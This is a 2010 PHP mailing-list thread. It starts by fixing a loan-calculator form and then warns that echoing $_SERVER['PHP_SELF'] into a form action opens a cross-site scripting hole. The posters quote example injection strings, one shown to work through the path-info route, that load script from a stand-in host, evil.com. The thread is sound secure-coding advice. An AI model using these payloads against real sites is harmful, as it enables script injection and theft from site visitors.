Re: [PHP] Division by 0

[email protected] (Jochem Maas)
Newsgroups php.general
Message-ID <[email protected]>
Op 3/10/10 11:39 PM, Daniel Egeberg schreef:
> On Wed, Mar 10, 2010 at 23:44, Dmitry Ruban <[email protected]> wrote:
>> Hi Jochem,
>>
>> Jochem Maas wrote:
>>>
>>> Op 3/10/10 6:23 PM, Joseph Thayne schreef:
>>>>
>>>> Looks to me like you are closing your form before you put anything in
>>>> it.  Therefore, the loan_amount is not set making the value 0.  Follow
>>>> the math, and you are dividing by 1-1.
>>>>
>>>> Change this line:
>>>>
>>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"></form>
>>>>
>>>> to:
>>>>
>>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
>>>
>>> this is a XSS waiting to happen. I can put something like the following in
>>> the request uri:
>>>
>>> index.php?" onsubmit="evil()"><script
>>> src="http://www.evil.com/evi.js"></script>
>>>
>> Apparently it's not going to work. PHP_SELF does not include query string.
>> So it is safe to use it this way.
>>
>> Regards,
>> Dmitry
> 
> No, it is not safe...
> 
> This won't work:
>   index.php?" onsubmit="evil()"><script
> src="http://www.evil.com/evi.js"></script>
> 
> But this will:
>   index.php/" onsubmit="evil()"><script
> src="http://www.evil.com/evi.js"></script>

yeah sorry, I was lax and made the query string mistake,
the issue stands though as Daniel pointed out.



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